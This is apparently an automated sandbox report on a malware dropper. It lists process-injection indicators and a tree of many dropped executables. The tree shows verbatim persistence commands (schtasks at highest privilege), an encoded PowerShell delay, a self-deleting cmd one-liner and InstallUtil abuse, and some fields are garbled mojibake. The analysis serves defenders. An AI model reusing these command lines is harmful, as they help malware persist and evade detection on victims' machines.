    Token: SeDebugPrivilege3960MicrosoftEdgeCP.exe
    Token: SeDebugPrivilege3924J7xk_zbTnzH8hQktNfo451Yx.exe
    Token: SeDebugPrivilege4336MicrosoftEdgeCP.exe
    Token: SeDebugPrivilege4336MicrosoftEdgeCP.exe
  • Suspicious use of FindShellTrayWindow
    Accostarmi.exe.pif

    Reported IOCs

    pidprocess
    4800Accostarmi.exe.pif
    4800Accostarmi.exe.pif
    4800Accostarmi.exe.pif
  • Suspicious use of SendNotifyMessage
    Accostarmi.exe.pif

    Reported IOCs

    pidprocess
    4800Accostarmi.exe.pif
    4800Accostarmi.exe.pif
    4800Accostarmi.exe.pif
  • Suspicious use of SetWindowsHookEx
    5E089B544ICJKGE.exeMicrosoftEdge.exeMicrosoftEdgeCP.exe

    Reported IOCs

    pidprocess
    43845E089B544ICJKGE.exe
    43845E089B544ICJKGE.exe
    3516MicrosoftEdge.exe
    4532MicrosoftEdgeCP.exe
    4532MicrosoftEdgeCP.exe
  • Suspicious use of WriteProcessMemory
    56a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 3496 wrote to memory of 3804349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeXFMuSM__UnAKNb5y77gEozhR.exe
    PID 3496 wrote to memory of 3804349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeXFMuSM__UnAKNb5y77gEozhR.exe
    PID 3496 wrote to memory of 3764349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exe4otKKZcyc6wMRjLsj_1mmrai.exe
    PID 3496 wrote to memory of 3764349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exe4otKKZcyc6wMRjLsj_1mmrai.exe
    PID 3496 wrote to memory of 3764349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exe4otKKZcyc6wMRjLsj_1mmrai.exe
    PID 3496 wrote to memory of 1808349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeEEA3YOA9rJqyimCyumronT19.exe
    PID 3496 wrote to memory of 1808349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeEEA3YOA9rJqyimCyumronT19.exe
    PID 3496 wrote to memory of 1808349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeEEA3YOA9rJqyimCyumronT19.exe
    PID 3496 wrote to memory of 1948349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeP7sPi_8GQ6EBndGlC6huLdOD.exe
    PID 3496 wrote to memory of 1948349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeP7sPi_8GQ6EBndGlC6huLdOD.exe
    PID 3496 wrote to memory of 1948349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeP7sPi_8GQ6EBndGlC6huLdOD.exe
    PID 3496 wrote to memory of 1604349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exe35Uz7OpyCvx7_SyabIcMcgYQ.exe
    PID 3496 wrote to memory of 1604349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exe35Uz7OpyCvx7_SyabIcMcgYQ.exe
    PID 3496 wrote to memory of 1604349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exe35Uz7OpyCvx7_SyabIcMcgYQ.exe
    PID 3496 wrote to memory of 3256349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeRZmPDLVfEjZP1OjfiYsYFYHm.exe
    PID 3496 wrote to memory of 3256349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeRZmPDLVfEjZP1OjfiYsYFYHm.exe
    PID 3496 wrote to memory of 3256349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeRZmPDLVfEjZP1OjfiYsYFYHm.exe
    PID 3496 wrote to memory of 2936349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeMDKkHsk8svcHvRGWpdm1TPsj.exe
    PID 3496 wrote to memory of 2936349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeMDKkHsk8svcHvRGWpdm1TPsj.exe
    PID 3496 wrote to memory of 2936349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeMDKkHsk8svcHvRGWpdm1TPsj.exe
    PID 3496 wrote to memory of 2928349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeIifLvp9EQdFf93ktNxmQ8vAV.exe
    PID 3496 wrote to memory of 2928349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeIifLvp9EQdFf93ktNxmQ8vAV.exe
    PID 3496 wrote to memory of 2928349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeIifLvp9EQdFf93ktNxmQ8vAV.exe
    PID 3496 wrote to memory of 3024349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exelNCTEcA_699zstKfADv3bJ_j.exe
    PID 3496 wrote to memory of 3024349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exelNCTEcA_699zstKfADv3bJ_j.exe
    PID 3496 wrote to memory of 3024349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exelNCTEcA_699zstKfADv3bJ_j.exe
    PID 3496 wrote to memory of 3280349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeTXvXK2KrFkrHKQpdeiNq6EmK.exe
    PID 3496 wrote to memory of 3280349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeTXvXK2KrFkrHKQpdeiNq6EmK.exe
    PID 3496 wrote to memory of 3280349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeTXvXK2KrFkrHKQpdeiNq6EmK.exe
    PID 3496 wrote to memory of 3456349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exe7kMhx1ol3xHR6PgpEAy0Mfx6.exe
    PID 3496 wrote to memory of 3456349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exe7kMhx1ol3xHR6PgpEAy0Mfx6.exe
    PID 3496 wrote to memory of 3456349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exe7kMhx1ol3xHR6PgpEAy0Mfx6.exe
    PID 3496 wrote to memory of 2092349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeVPNoGmRG5Suh_CO9xMsVMgHC.exe
    PID 3496 wrote to memory of 2092349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeVPNoGmRG5Suh_CO9xMsVMgHC.exe
    PID 3496 wrote to memory of 2092349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeVPNoGmRG5Suh_CO9xMsVMgHC.exe
    PID 3496 wrote to memory of 2208349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeGuuUMNOpzhGsxCqhrFTtE4wn.exe
    PID 3496 wrote to memory of 2208349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeGuuUMNOpzhGsxCqhrFTtE4wn.exe
    PID 3496 wrote to memory of 2208349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeGuuUMNOpzhGsxCqhrFTtE4wn.exe
    PID 3496 wrote to memory of 3380349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeIfy213ZUg3KDJWvdIV4oy8Hx.exe
    PID 3496 wrote to memory of 3380349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeIfy213ZUg3KDJWvdIV4oy8Hx.exe
    PID 3496 wrote to memory of 3380349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeIfy213ZUg3KDJWvdIV4oy8Hx.exe
    PID 3496 wrote to memory of 3028349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exef9jdatpf0oX8WPl0H5XRmvIg.exe
    PID 3496 wrote to memory of 3028349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exef9jdatpf0oX8WPl0H5XRmvIg.exe
    PID 3496 wrote to memory of 3028349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exef9jdatpf0oX8WPl0H5XRmvIg.exe
    PID 3496 wrote to memory of 3468349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeow11QyMfAoxQbPgVs7buQImm.exe
    PID 3496 wrote to memory of 3468349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeow11QyMfAoxQbPgVs7buQImm.exe
    PID 3496 wrote to memory of 1244349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeIB1Ads4Nhh2YtShUofyINhff.exe
    PID 3496 wrote to memory of 1244349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeIB1Ads4Nhh2YtShUofyINhff.exe
    PID 3496 wrote to memory of 1244349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeIB1Ads4Nhh2YtShUofyINhff.exe
    PID 3496 wrote to memory of 352349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeLScRGetsyZV3ZLmD7abVohQM.exe
    PID 3496 wrote to memory of 352349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeLScRGetsyZV3ZLmD7abVohQM.exe
    PID 3496 wrote to memory of 352349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeLScRGetsyZV3ZLmD7abVohQM.exe
    PID 3496 wrote to memory of 416349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeH2UFiXQKSTacbYzNYh0dWSsr.exe
    PID 3496 wrote to memory of 416349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeH2UFiXQKSTacbYzNYh0dWSsr.exe
    PID 3496 wrote to memory of 416349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeH2UFiXQKSTacbYzNYh0dWSsr.exe
    PID 3496 wrote to memory of 4028349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exe1ADDp5TJ9I9LidIfKqtWfZTb.exe
    PID 3496 wrote to memory of 4028349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exe1ADDp5TJ9I9LidIfKqtWfZTb.exe
    PID 3496 wrote to memory of 4028349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exe1ADDp5TJ9I9LidIfKqtWfZTb.exe
    PID 3496 wrote to memory of 4024349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeOZKg9pApfP3zgBlGAIOqHqwr.exe
    PID 3496 wrote to memory of 4024349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeOZKg9pApfP3zgBlGAIOqHqwr.exe
    PID 3496 wrote to memory of 4024349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeOZKg9pApfP3zgBlGAIOqHqwr.exe
    PID 3496 wrote to memory of 3044349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exekwJm54yhzqQ4jwTEnn_gotEO.exe
    PID 3496 wrote to memory of 3044349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exekwJm54yhzqQ4jwTEnn_gotEO.exe
    PID 3496 wrote to memory of 3044349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exekwJm54yhzqQ4jwTEnn_gotEO.exe
Processes 150
  • C:\Users\Admin\AppData\Local\Temp\56a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exe
    "C:\Users\Admin\AppData\Local\Temp\56a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exe"
    Checks computer location settings
    Suspicious behavior: EnumeratesProcesses
    Suspicious use of WriteProcessMemory
    PID:3496
    • C:\Users\Admin\Pictures\Adobe Films\XFMuSM__UnAKNb5y77gEozhR.exe
      "C:\Users\Admin\Pictures\Adobe Films\XFMuSM__UnAKNb5y77gEozhR.exe"
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:3804
    • C:\Users\Admin\Pictures\Adobe Films\4otKKZcyc6wMRjLsj_1mmrai.exe
      "C:\Users\Admin\Pictures\Adobe Films\4otKKZcyc6wMRjLsj_1mmrai.exe"
      Executes dropped EXE
      Drops file in Program Files directory
      PID:3764
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        Creates scheduled task(s)
        PID:3580
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        Creates scheduled task(s)
        PID:2276
    • C:\Users\Admin\Pictures\Adobe Films\EEA3YOA9rJqyimCyumronT19.exe
      "C:\Users\Admin\Pictures\Adobe Films\EEA3YOA9rJqyimCyumronT19.exe"
      Executes dropped EXE
      PID:1808
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1808 -s 424
        Program crash
        Suspicious use of AdjustPrivilegeToken
        PID:1632
    • C:\Users\Admin\Pictures\Adobe Films\P7sPi_8GQ6EBndGlC6huLdOD.exe
      "C:\Users\Admin\Pictures\Adobe Films\P7sPi_8GQ6EBndGlC6huLdOD.exe"
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of AdjustPrivilegeToken
      PID:1948
    • C:\Users\Admin\Pictures\Adobe Films\IB1Ads4Nhh2YtShUofyINhff.exe
      "C:\Users\Admin\Pictures\Adobe Films\IB1Ads4Nhh2YtShUofyINhff.exe"
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of AdjustPrivilegeToken
      PID:1244
    • C:\Users\Admin\Pictures\Adobe Films\1ADDp5TJ9I9LidIfKqtWfZTb.exe
      "C:\Users\Admin\Pictures\Adobe Films\1ADDp5TJ9I9LidIfKqtWfZTb.exe"
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of AdjustPrivilegeToken
      PID:4028
    • C:\Users\Admin\Pictures\Adobe Films\J7xk_zbTnzH8hQktNfo451Yx.exe
      "C:\Users\Admin\Pictures\Adobe Films\J7xk_zbTnzH8hQktNfo451Yx.exe"
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3924
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc YwBtAGQAIAAvAGMAIAB0AGkAbQBlAG8AdQB0ACAAMgAwAA==
        Suspicious use of AdjustPrivilegeToken
        PID:3700
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /c timeout 20
          PID:5060
          • C:\Windows\SysWOW64\timeout.exe
            timeout 20
            Delays execution with timeout.exe
            PID:1312
      • C:\Users\Admin\AppData\Local\Temp\Ozuopsyyhjdqpkspkhnsqwmumnemosyneportable_2_8.exe
        "C:\Users\Admin\AppData\Local\Temp\Ozuopsyyhjdqpkspkhnsqwmumnemosyneportable_2_8.exe"
        PID:2224
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc YwBtAGQAIAAvAGMAIAB0AGkAbQBlAG8AdQB0ACAAMgAwAA==
          PID:2176
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        PID:4124
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        PID:4108
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        PID:532
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        PID:4120
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        PID:3520
    • C:\Users\Admin\Pictures\Adobe Films\ZQ85MKakjh00eT06cIEg1DZy.exe
      "C:\Users\Admin\Pictures\Adobe Films\ZQ85MKakjh00eT06cIEg1DZy.exe"
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:4524
      • C:\Users\Admin\AppData\Local\Temp\5E089B544ICJKGE.exe
        <!DOCTYPE html> <html> <head> <title>￐ᆬ￐ᄒ￑チ￑ツ￐ᄌ￐ᄑ￐ᄈ VPS ￐ᄇ ￐モ￐ᄉ￑タ￐ᄐ￐ᄚ￐ᄑ￐ᄌ￐ᄌ, ￐ᄇ￑ヒ￐ᄡ￐ᄉ￐ᄏ￐ᄉ￐ᄑ￐ᄑ￑ヒ￐ᄉ ￑チ￐ᄉ￑タ￐ᄇ￐ᄉ￑タ￑ヒ - ￐ン￐ᄚ￐ᄡ￐ᄉ￐ᄊ￐ᄑ￑ヒ￐ᄍ ￑ナ￐ᄒ￑チ￑ツ￐ᄌ￐ᄑ￐ᄈ ￐ᄇ ￐ユ￐ᄇ￑タ￐ᄒ￐﾿￐ᄉ! | FORNEX</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width"> <meta name="format-detection" content="telephone=no"> <meta name="SKYPE_TOOLBAR" content="SKYPE_TOOLBAR_PARSER_COMPATIBLE"> <link rel="apple-touch-icon-precomposed" sizes="57x57" href="/img/favicon/apple-touch-icon-57x57.png"> <link rel="apple-touch-icon-precomposed" sizes="114x114" href="/img/favicon/apple-touch-icon-114x114.png"> <link rel="apple-touch-icon-precomposed" sizes="72x72" href="/img/favicon/apple-touch-icon-72x72.png"> <link rel="apple-touch-icon-precomposed" sizes="144x144" href="/img/favicon/apple-touch-icon-144x144.png"> <link rel="apple-touch-icon-precomposed" sizes="60x60" href="/img/favicon/apple-touch-icon-60x60.png"> <link rel="apple-touch-icon-precomposed" sizes="120x120" href="/img/favicon/apple-touch-icon-120x120.png"> <link rel="apple-touch-icon-precomposed" sizes="76x76" href="/img/favicon/apple-touch-icon-76x76.png"> <link rel="apple-touch-icon-precomposed" sizes="152x152" href="/img/favicon/apple-touch-icon-152x152.png"> <link rel="icon" type="image/png" href="/img/favicon/favicon-196x196.png" sizes="196x196"> <link rel="icon" type="image/png" href="/img/favicon/favicon-96x96.png" sizes="96x96"> <link rel="icon" type="image/png" href="/img/favicon/favicon-32x32.png" sizes="32x32"> <link rel="icon" type="image/png" href="/img/favicon/favicon-16x16.png" sizes="16x16"> <link rel="icon" type="image/png" href="/img/favicon/favicon-128.png" sizes="128x128"> <meta name="application-name" content="ᅡᅠ"> <meta name="msapplication-TileColor" content="#FFFFFF"> <meta name="msapplication-TileImage" content="/img/favicon/mstile-144x144.png"> <meta name="msapplication-square70x70logo" content="/img/favicon/mstile-70x70.png"> <meta name="msapplication-square150x150logo" content="/img/favicon/mstile-150x150.png"> <meta name="msapplication-wide310x150logo" content="/img/favicon/mstile-310x150.png"> <meta name="msapplication-square310x310logo" content="/img/favicon/mstile-310x310.png"> <link href="/css/base.css" rel="stylesheet"><!--[if lt IE 9]> <script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.js"></script><![endif]--> </head> <body> <header class="header header-bg"> <div style="background-image: url('/img/prlx-bg-main.png');" class="header-bg-image hdn-lg"></div> <div class="wrap"> <div class="header-inner"> <div class="table"> <div class="left-nav table-cell-md"><a href="https://fornex.com/?from=blocked-duoproc.net"><img src="/img/logo.png" srcset="/img/logo@2x.png 2x" alt="" class="logo logo-light"></a><a href="https://fornex.com/?from=blocked-duoproc.net"><img src="/img/logo-dark.png" srcset="/img/logo-dark@2x.png 2x" alt="" class="logo logo-dark"></a></div> <div class="center-nav table-cell-md hdn-lg"> <div class="slogan-note">￐ン￐ᄚ￐ᄡ￐ᄉ￐ᄊ￐ᄑ￑ヒ￐ᄉ VPS/VDS, ￐ᄇ￑ヒ￐ᄡ￐ᄉ￐ᄏ￐ᄉ￐ᄑ￐ᄑ￑ヒ￐ᄉ ￑チ￐ᄉ￑タ￐ᄇ￐ᄉ￑タ￑ヒ ￐ᄌ ￑ナ￐ᄒ￑チ￑ツ￐ᄌ￐ᄑ￐ᄈ</div> </div> <div class="table-cell-md ta-r hdn-lg"><a href="https://fornex.com/?from=blocked-duoproc.net" style="color: #fff;"><span class="border border-2x">￐゚￐ᄉ￑タ￐ᄉ￐ᄍ￑ツ￐ᄌ ￐ᄑ￐ᄚ ￑チ￐ᄚ￐ᄍ￑ツ</span></a></div> </div> </div> </div> </header> <div class="table blocked-page"> <div class="table-cell-md"> <div class="wrap"> <div class="parts-row parts-2 parts-divide parts-lg-collapse"> <div class="col-item hdn-lg"><img src="/img/icons/blocked.png" srcset="/img/icons/blocked@2x.png 2x" alt=""></div> <div class="col-item"> <div class="alert-title">￐ᄀ￐ᄚ￐ᄍ￑ツ ￐ᄋ￐ᄚ￐ᄆ￐ᄏ￐ᄒ￐ᄎ￐ᄌ￑タ￐ᄒ￐ᄇ￐ᄚ￐ᄑ <div class="note">Site blocked</div> </div><span class="ttl">￐゚￐ᄒ￐ᄏ￐ᄉ￐ᄋ￐ᄑ￑ヒ￐ᄉ ￑チ￑チ￑ヒ￐ᄏ￐ᄎ￐ᄌ</span> <div class="parts-row parts-2 parts-md-collapse"> <div class="col-item"> <div class="nav-list"> <ul> <li><a href="https://fornex.com/wiki/why-my-sites-is-blocked/?from=blocked-duoproc.net">￐゚￐ᄒ￑ヌ￐ᄉ￐ᄐ￑テ ￑マ ￐ᄇ￐ᄌ￐ᄊ￑テ ￑ヘ￑ツ￑テ ￑チ￑ツ￑タ￐ᄚ￐ᄑ￐ᄌ￑ニ￑テ</a></li> <li><a href="https://fornex.com/wiki/transfer-site/?from=blocked-duoproc.net">￐゚￐ᄉ￑タ￐ᄉ￐ᄑ￐ᄒ￑チ ￑チ￐ᄚ￐ᄍ￑ツ￐ᄒ￐ᄇ</a></li> </ul> </div> </div> <div class="col-item"> <div class="nav-list"> <ul> <li><a href="https://fornex.com/my/tickets/?from=blocked-duoproc.net">￐ᄁ￐ᄉ￑ナ￐ᄑ￐ᄌ￑ヌ￐ᄉ￑チ￐ᄎ￐ᄚ￑マ ￐﾿￐ᄒ￐ᄡ￐ᄡ￐ᄉ￑タ￐ᄊ￐ᄎ￐ᄚ</a></li> <li><a href="https://fornex.com/wiki/faq/?from=blocked-duoproc.net">FAQ</a></li> </ul> </div> </div> </div> <hr><span class="ttl">￐ᆪ￑チ￐ᄏ￑テ￐ᄈ￐ᄌ</span> <div class="parts-row parts-6 parts-md-collapse"> <div class="col-item part-6x3"> <div class="nav-list"> <ul> <li><a href="https://fornex.com/dedicated/?from=blocked-duoproc.net">￐メ￑ヒ￐ᄡ￐ᄉ￐ᄏ￐ᄉ￐ᄑ￐ᄑ￑ヒ￐ᄉ ￑チ￐ᄉ￑タ￐ᄇ￐ᄉ￑タ￑ヒ</a></li> <li><a href="https://fornex.com/ssd-vps/?from=blocked-duoproc.net">SSD VPS</a></li> </ul> </div> </div> <div class="col-item part-6x2"> <div class="nav-list"> <ul> <li><a href="https://fornex.com/antiddos/?from=blocked-duoproc.net">AntiDDoS</a></li> <li><a href="https://fornex.com/ssd-hosting/?from=blocked-duoproc.net">SSD Hosting</a></li> </ul> </div> </div> <div class="col-item"> <div class="nav-list"> <ul> <li><a href="https://fornex.com/backup/?from=blocked-duoproc.net">￐ム￑ヘ￐ᄎ￐ᄚ￐﾿</a></li> <li><a href="https://fornex.com/vpn/?from=blocked-duoproc.net">VPN</a></li> </ul> </div> </div> </div> </div> </div> </div> </div> </div> </body> </html>
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        PID:4384
    • C:\Users\Admin\Pictures\Adobe Films\kwJm54yhzqQ4jwTEnn_gotEO.exe
      "C:\Users\Admin\Pictures\Adobe Films\kwJm54yhzqQ4jwTEnn_gotEO.exe"
      Executes dropped EXE
      PID:3044
    • C:\Users\Admin\Pictures\Adobe Films\OZKg9pApfP3zgBlGAIOqHqwr.exe
      "C:\Users\Admin\Pictures\Adobe Films\OZKg9pApfP3zgBlGAIOqHqwr.exe"
      Executes dropped EXE
      PID:4024
    • C:\Users\Admin\Pictures\Adobe Films\H2UFiXQKSTacbYzNYh0dWSsr.exe
      "C:\Users\Admin\Pictures\Adobe Films\H2UFiXQKSTacbYzNYh0dWSsr.exe"
      Executes dropped EXE
      PID:416
    • C:\Users\Admin\Pictures\Adobe Films\LScRGetsyZV3ZLmD7abVohQM.exe
      "C:\Users\Admin\Pictures\Adobe Films\LScRGetsyZV3ZLmD7abVohQM.exe"
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:352
    • C:\Users\Admin\Pictures\Adobe Films\ow11QyMfAoxQbPgVs7buQImm.exe
      "C:\Users\Admin\Pictures\Adobe Films\ow11QyMfAoxQbPgVs7buQImm.exe"
      Executes dropped EXE
      PID:3468
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\Users\Admin\Pictures\Adobe Films\ow11QyMfAoxQbPgVs7buQImm.exe
        PID:3448
        • C:\Windows\system32\choice.exe
          choice /C Y /N /D Y /T 0
          PID:4204
    • C:\Users\Admin\Pictures\Adobe Films\f9jdatpf0oX8WPl0H5XRmvIg.exe
      "C:\Users\Admin\Pictures\Adobe Films\f9jdatpf0oX8WPl0H5XRmvIg.exe"
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:3028
    • C:\Users\Admin\Pictures\Adobe Films\Ify213ZUg3KDJWvdIV4oy8Hx.exe
      "C:\Users\Admin\Pictures\Adobe Films\Ify213ZUg3KDJWvdIV4oy8Hx.exe"
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3380
    • C:\Users\Admin\Pictures\Adobe Films\GuuUMNOpzhGsxCqhrFTtE4wn.exe
      "C:\Users\Admin\Pictures\Adobe Films\GuuUMNOpzhGsxCqhrFTtE4wn.exe"
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:2208
    • C:\Users\Admin\Pictures\Adobe Films\TXvXK2KrFkrHKQpdeiNq6EmK.exe
      "C:\Users\Admin\Pictures\Adobe Films\TXvXK2KrFkrHKQpdeiNq6EmK.exe"
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:3280
    • C:\Users\Admin\Pictures\Adobe Films\7kMhx1ol3xHR6PgpEAy0Mfx6.exe
      "C:\Users\Admin\Pictures\Adobe Films\7kMhx1ol3xHR6PgpEAy0Mfx6.exe"
      Executes dropped EXE
      PID:3456
    • C:\Users\Admin\Pictures\Adobe Films\VPNoGmRG5Suh_CO9xMsVMgHC.exe
      "C:\Users\Admin\Pictures\Adobe Films\VPNoGmRG5Suh_CO9xMsVMgHC.exe"
      Executes dropped EXE
      PID:2092
    • C:\Users\Admin\Pictures\Adobe Films\lNCTEcA_699zstKfADv3bJ_j.exe
      "C:\Users\Admin\Pictures\Adobe Films\lNCTEcA_699zstKfADv3bJ_j.exe"
      Executes dropped EXE
      Checks computer location settings
      Suspicious use of AdjustPrivilegeToken
      PID:3024
    • C:\Users\Admin\Pictures\Adobe Films\IifLvp9EQdFf93ktNxmQ8vAV.exe
      "C:\Users\Admin\Pictures\Adobe Films\IifLvp9EQdFf93ktNxmQ8vAV.exe"
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:2928
    • C:\Users\Admin\Pictures\Adobe Films\MDKkHsk8svcHvRGWpdm1TPsj.exe
      "C:\Users\Admin\Pictures\Adobe Films\MDKkHsk8svcHvRGWpdm1TPsj.exe"
      Executes dropped EXE
      PID:2936
    • C:\Users\Admin\Pictures\Adobe Films\RZmPDLVfEjZP1OjfiYsYFYHm.exe
      "C:\Users\Admin\Pictures\Adobe Films\RZmPDLVfEjZP1OjfiYsYFYHm.exe"
      Executes dropped EXE
      Loads dropped DLL
      Checks processor information in registry
      PID:3256
      • C:\Windows\SysWOW64\cmd.exe
